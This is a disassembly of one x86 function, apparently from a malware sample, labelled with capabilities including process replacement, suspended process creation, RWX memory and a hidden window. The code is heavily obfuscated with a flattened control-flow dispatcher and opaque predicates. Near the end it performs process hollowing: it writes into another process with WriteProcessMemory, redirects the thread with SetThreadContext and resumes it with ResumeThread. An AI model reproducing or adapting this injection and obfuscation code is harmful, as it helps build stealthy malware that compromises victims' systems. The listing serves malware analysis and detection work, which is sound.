Function at 0x10002fb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x174
mov eax, dword [0x10042600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x17c], 0x1a1d475c
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
sub eax, 0x80b06892
je 0x10005026
jmp 0x10002fec
mov eax, dword [ebp - 0x180]
sub eax, 0x81cad53e
je 0x100072bd
jmp 0x10003002
mov eax, dword [ebp - 0x180]
sub eax, 0x820cb9c0
je 0x10005ec3
jmp 0x10003018
mov eax, dword [ebp - 0x180]
sub eax, 0x8295c307
je 0x10006a0d
jmp 0x1000302e
mov eax, dword [ebp - 0x180]
sub eax, 0x82babb2a
je 0x10008f1e
jmp 0x10003044
mov eax, dword [ebp - 0x180]
sub eax, 0x839c2c28
je 0x1000977e
jmp 0x1000305a
mov eax, dword [ebp - 0x180]
sub eax, 0x84437b4b
je 0x100096a6
jmp 0x10003070
mov eax, dword [ebp - 0x180]
sub eax, 0x85180cf5
je 0x10007acc
jmp 0x10003086
mov eax, dword [ebp - 0x180]
sub eax, 0x87d1c0c5
je 0x10005962
jmp 0x1000309c
mov eax, dword [ebp - 0x180]
sub eax, 0x89b07ee3
je 0x10005348
jmp 0x100030b2
mov eax, dword [ebp - 0x180]
sub eax, 0x8adeeb0a
je 0x10009648
jmp 0x100030c8
mov eax, dword [ebp - 0x180]
sub eax, 0x8b298142
je 0x10005120
jmp 0x100030de
mov eax, dword [ebp - 0x180]
sub eax, 0x8bded8f7
je 0x10007b08
jmp 0x100030f4
mov eax, dword [ebp - 0x180]
sub eax, 0x8bf9357b
je 0x100096d4
jmp 0x1000310a
mov eax, dword [ebp - 0x180]
sub eax, 0x8c5c7dff
je 0x10005384
jmp 0x10003120
mov eax, dword [ebp - 0x180]
sub eax, 0x8c9fb921
je 0x100098f2
jmp 0x10003136
mov eax, dword [ebp - 0x180]
sub eax, 0x8d29ad76
je 0x100092fc
jmp 0x1000314c
mov eax, dword [ebp - 0x180]
sub eax, 0x8d9c01a1
je 0x10008e49
jmp 0x10003162
mov eax, dword [ebp - 0x180]
sub eax, 0x8de54a3e
je 0x10007067
jmp 0x10003178
mov eax, dword [ebp - 0x180]
sub eax, 0x8ef84205
je 0x100067ae
jmp 0x1000318e
mov eax, dword [ebp - 0x180]
sub eax, 0x8fc125b3
je 0x10005171
jmp 0x100031a4
mov eax, dword [ebp - 0x180]
sub eax, 0x8fdcea3a
je 0x100069a3
jmp 0x100031ba
mov eax, dword [ebp - 0x180]
sub eax, 0x8fe5a73f
je 0x100094c6
jmp 0x100031d0
mov eax, dword [ebp - 0x180]
sub eax, 0x904af66f
je 0x10009857
jmp 0x100031e6
mov eax, dword [ebp - 0x180]
sub eax, 0x91f30f8c
je 0x10006152
jmp 0x100031fc
mov eax, dword [ebp - 0x180]
sub eax, 0x929d95c7
je 0x100089b1
jmp 0x10003212
mov eax, dword [ebp - 0x180]
sub eax, 0x93d2c12a
je 0x10006942
jmp 0x10003228
mov eax, dword [ebp - 0x180]
sub eax, 0x93e4d607
je 0x10006c64
jmp 0x1000323e
mov eax, dword [ebp - 0x180]
sub eax, 0x94272705
je 0x10005035
jmp 0x10003254
mov eax, dword [ebp - 0x180]
sub eax, 0x94a9bba1
je 0x10007755
jmp 0x1000326a
mov eax, dword [ebp - 0x180]
sub eax, 0x94cd81ae
je 0x100061df
jmp 0x10003280
mov eax, dword [ebp - 0x180]
sub eax, 0x96c38c3d
je 0x10005971
jmp 0x10003296
mov eax, dword [ebp - 0x180]
sub eax, 0x96d00d0e
je 0x10009a54
jmp 0x100032ac
mov eax, dword [ebp - 0x180]
sub eax, 0x9904f6c3
je 0x10006738
jmp 0x100032c2
mov eax, dword [ebp - 0x180]
sub eax, 0x99bf1eba
je 0x100053c2
jmp 0x100032d8
mov eax, dword [ebp - 0x180]
sub eax, 0x9a8494f7
je 0x10007c87
jmp 0x100032ee
mov eax, dword [ebp - 0x180]
sub eax, 0x9aef3336
je 0x10008b41
jmp 0x10003304
mov eax, dword [ebp - 0x180]
sub eax, 0x9bcff95e
je 0x10007181
jmp 0x1000331a
mov eax, dword [ebp - 0x180]
sub eax, 0x9c16d84a
je 0x1000930b
jmp 0x10003330
mov eax, dword [ebp - 0x180]
sub eax, 0x9c55608d
je 0x10009639
jmp 0x10003346
mov eax, dword [ebp - 0x180]
sub eax, 0x9d0b3dbd
je 0x100076ed
jmp 0x1000335c
mov eax, dword [ebp - 0x180]
sub eax, 0x9e177db1
je 0x10007aad
jmp 0x10003372
mov eax, dword [ebp - 0x180]
sub eax, 0x9e43ca5d
je 0x100064c0
jmp 0x10003388
mov eax, dword [ebp - 0x180]
sub eax, 0x9e45657a
je 0x10007242
jmp 0x1000339e
mov eax, dword [ebp - 0x180]
sub eax, 0x9e8b3385
je 0x10005831
jmp 0x100033b4
mov eax, dword [ebp - 0x180]
sub eax, 0x9f10703b
je 0x10006dbc
jmp 0x100033ca
mov eax, dword [ebp - 0x180]
sub eax, 0x9f6b1c72
je 0x1000752d
jmp 0x100033e0
mov eax, dword [ebp - 0x180]
sub eax, 0x9ffe17b5
je 0x100072cc
jmp 0x100033f6
mov eax, dword [ebp - 0x180]
sub eax, 0xa0e91c3c
je 0x10005fe7
jmp 0x1000340c
mov eax, dword [ebp - 0x180]
sub eax, 0xa14aa47b
je 0x100063f1
jmp 0x10003422
mov eax, dword [ebp - 0x180]
sub eax, 0xa150a5ea
je 0x10008abf
jmp 0x10003438
mov eax, dword [ebp - 0x180]
sub eax, 0xa2041bb2
je 0x100078d3
jmp 0x1000344e
mov eax, dword [ebp - 0x180]
sub eax, 0xa24dfa07
je 0x10007fc1
jmp 0x10003464
mov eax, dword [ebp - 0x180]
sub eax, 0xa319b28d
je 0x10006b59
jmp 0x1000347a
mov eax, dword [ebp - 0x180]
sub eax, 0xa51ff936
je 0x10008e77
jmp 0x10003490
mov eax, dword [ebp - 0x180]
sub eax, 0xa532b94f
je 0x10005b99
jmp 0x100034a6
mov eax, dword [ebp - 0x180]
sub eax, 0xa58ba4cc
je 0x10007902
jmp 0x100034bc
mov eax, dword [ebp - 0x180]
sub eax, 0xa5a71489
je 0x100074f1
jmp 0x100034d2
mov eax, dword [ebp - 0x180]
sub eax, 0xa5c5ac4d
je 0x10005cde
jmp 0x100034e8
mov eax, dword [ebp - 0x180]
sub eax, 0xa6b970b1
je 0x10007f75
jmp 0x100034fe
mov eax, dword [ebp - 0x180]
sub eax, 0xa97990e7
je 0x10006ed6
jmp 0x10003514
mov eax, dword [ebp - 0x180]
sub eax, 0xa99c5c1d
je 0x100070b2
jmp 0x1000352a
mov eax, dword [ebp - 0x180]
sub eax, 0xa9b9d5ac
je 0x10006bee
jmp 0x10003540
mov eax, dword [ebp - 0x180]
sub eax, 0xaa459aca
je 0x10005e2c
jmp 0x10003556
mov eax, dword [ebp - 0x180]
sub eax, 0xaa5746dd
je 0x10006cf3
mov dword [ebp - 0x17c], 0x94272705
jmp 0x10009a6d
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011c0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011c0
add esp, 4
movss xmm0, dword [0x100163ac]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x100163a8]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x100163a4]
movss dword [ebp - 0x114], xmm0
mov dl, 1
mov eax, 0x462b7b8f
mov ecx, 0x8b298142
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov eax, dword [0x10043928]
mov ecx, dword [0x10043924]
mov edx, eax
add edx, 0xc8292380
sub edx, 1
sub edx, 0xc8292380
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeabc7758
mov ecx, 0x8fc125b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x10016214]
movss dword [ebp - 0x114], xmm0
mov eax, dword [0x10043928]
mov ecx, dword [0x10043924]
mov edx, eax
sub edx, 0x60b711b0
sub edx, 1
add edx, 0x60b711b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeabc7758
mov ecx, 0x652654cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x10016390]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x17c], 0xb354f33
jmp 0x10009a6d
movss xmm0, dword [0x1001638c]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x17c], 0xe897a939
jmp 0x10009a6d
movss xmm0, dword [0x10016384]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x17c], 0xc90cf4f5
jmp 0x10009a6d
movss xmm0, dword [0x1001637c]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x10016378]
movss dword [ebp - 0x118], xmm0
mov dl, 1
mov eax, 0xc7d8431e
mov ecx, 0xd99dd9fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x96c38c3d
jmp 0x10009a6d
movss xmm0, dword [0x10016374]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x17c], 0xc7d8431e
jmp 0x10009a6d
movss xmm0, dword [0x10016364]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x17c], 0xff88575b
jmp 0x10009a6d
movss xmm0, dword [0x100161f0]
movss dword [ebp - 0x118], xmm0
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
mov edx, ecx
add edx, 0x20533716
sub edx, 1
sub edx, 0x20533716
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb63db46f
mov ecx, 0xd508555f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov dl, 1
mov eax, 0xfb48ae68
mov ecx, 0xdf5f1fbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x10016328]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x17c], 0x583a49b7
jmp 0x10009a6d
mov dl, 1
mov eax, 0x61fd1624
mov ecx, 0x7095dd0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x100161e8]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x10043928]
mov ecx, dword [0x10043924]
mov edx, eax
add edx, 0x2c3c109e
sub edx, 1
sub edx, 0x2c3c109e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8adeeb0a
mov ecx, 0x4552355b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x10016318]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x17c], 0x7e8a1379
jmp 0x10009a6d
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6efd7d91
mov ecx, 0xe035c841
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x2b308c9a
jmp 0x10009a6d
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
mov edx, ecx
sub edx, 0xa371ef31
sub edx, 1
add edx, 0xa371ef31
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x718e0391
mov ecx, 0x8ef84205
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov eax, dword [0x10043928]
mov ecx, dword [0x10043924]
mov edx, eax
sub edx, 0xb64fe095
sub edx, 1
add edx, 0xb64fe095
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x718e0391
mov ecx, 0xf2db3ed5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x100161cc]
movss dword [ebp - 0x120], xmm0
mov eax, dword [0x10043928]
mov ecx, dword [0x10043924]
mov edx, eax
add edx, 0x2757b77e
sub edx, 1
sub edx, 0x2757b77e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfde10f8e
mov ecx, 0x8fdcea3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0xc62f4f34
jmp 0x10009a6d
movss xmm0, dword [0x100162e8]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x100162e4]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x100162e0]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x17c], 0x4dd1c4c7
jmp 0x10009a6d
movss xmm0, dword [0x100161c8]
movss dword [ebp - 0x124], xmm0
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
mov edx, ecx
add edx, 0x8a015abd
sub edx, 1
sub edx, 0x8a015abd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe917490e
mov ecx, 0xe828eff4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
mov edx, ecx
sub edx, 0x714580db
sub edx, 1
add edx, 0x714580db
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe7890b1e
mov ecx, 0x93e4d607
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x100161c4]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x10043928]
mov ecx, dword [0x10043924]
mov edx, eax
add edx, 0xbb9b6737
sub edx, 1
sub edx, 0xbb9b6737
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7890b1e
mov ecx, 0x2f089ca2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x100161c0]
movss dword [ebp - 0x124], xmm0
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x839c2c28
mov ecx, 0x5b4d2f5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x100161bc]
movss dword [ebp - 0x124], xmm0
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
mov edx, ecx
add edx, 0x4f34d256
sub edx, 1
sub edx, 0x4f34d256
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc5b0b4a1
mov ecx, 0x64abcc49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0xaecf7ed2
jmp 0x10009a6d
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
mov edx, ecx
sub edx, 0xb49ab880
sub edx, 1
add edx, 0xb49ab880
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xab069a0a
mov ecx, 0xcbc5a020
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x3e58075f
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x5b7e9216
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x9ffe17b5
jmp 0x10009a6d
movss xmm0, dword [0x100162ac]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0xdab70701
jmp 0x10009a6d
movss xmm0, dword [0x100162a8]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0xb70d8c4a
jmp 0x10009a6d
movss xmm0, dword [0x100162a4]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x100162a0]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0x2165e2d2
jmp 0x10009a6d
movss xmm0, dword [0x100161a0]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x10043928]
mov ecx, dword [0x10043924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd17abe8
mov ecx, 0x68379f5e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov dl, 1
mov eax, 0xd435051c
mov ecx, 0xb3aa1dc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x10016288]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10016284]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x17c], 0xa58ba4cc
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x45ddd983
jmp 0x10009a6d
movss xmm0, dword [0x1001626c]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x17c], 0x85180cf5
jmp 0x10009a6d
movss xmm0, dword [0x10016268]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x17c], 0xaca5c549
jmp 0x10009a6d
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
mov edx, ecx
sub edx, 0xec6c284c
sub edx, 1
add edx, 0xec6c284c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6f888702
mov ecx, 0x30afcc6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
movss xmm0, dword [0x10016254]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x10016250]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x17c], 0xe01c2d5
jmp 0x10009a6d
mov dl, 1
mov eax, 0xf00f2dcc
mov ecx, 0x414814b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov eax, dword [0x10043928]
mov ecx, dword [0x10043924]
mov edx, eax
add edx, 0xdf748411
sub edx, 1
sub edx, 0xdf748411
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb860be37
mov ecx, 0xb31f100a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov ecx, dword [0x10043928]
mov eax, dword [0x10043924]
mov edx, ecx
add edx, 0xb4430baf
sub edx, 1
sub edx, 0xb4430baf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7b71bac2
mov ecx, 0x6c78bca4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x4d6329b5
jmp 0x10009a6d
mov edx, dword [ebp - 0x98]
mov eax, 0x9c16d84a
mov ecx, 0x7430e8d5
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10009a6d
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov dword [ebp - 0x17c], 0xa51ff936
jmp 0x10009a6d
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xdd4d411b
sub ecx, 8
add ecx, 0xdd4d411b
shr ecx, 1
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x34]
sub ecx, 0xc8cfe08
sub ecx, eax
add ecx, 0xc8cfe08
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov dword [eax], 0
mov dword [ebp - 0x17c], 0xcfe13e4e
jmp 0x10009a6d
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x17c], 0xb9bdb92d
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x9c16d84a
jmp 0x10009a6d
mov ecx, dword [ebp - 0x14c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x28]
sub ecx, 0x4440dde8
add ecx, eax
add ecx, 0x4440dde8
mov eax, dword [ebp - 0x13c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x17c], 0xdf1d7cb5
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x1b81ab8
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x5052edf6
jmp 0x10009a6d
movss xmm0, dword [0x100161e8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x17c], 0x91f30f8c
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x7474b396
jmp 0x10009a6d
movss xmm0, dword [0x100161d4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x17c], 0x10779c86
jmp 0x10009a6d
movss xmm0, dword [0x100161c0]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x17c], 0x9f10703b
jmp 0x10009a6d
movss xmm0, dword [0x100161a4]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0xdc75cfd0
jmp 0x10009a6d
movss xmm0, dword [0x10016190]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x17c], 0xcc4dbea9
jmp 0x10009a6d
mov dword [ebp - 0x17c], 0x7eb14d0f
jmp 0x10009a6d
jmp 0x10002fd0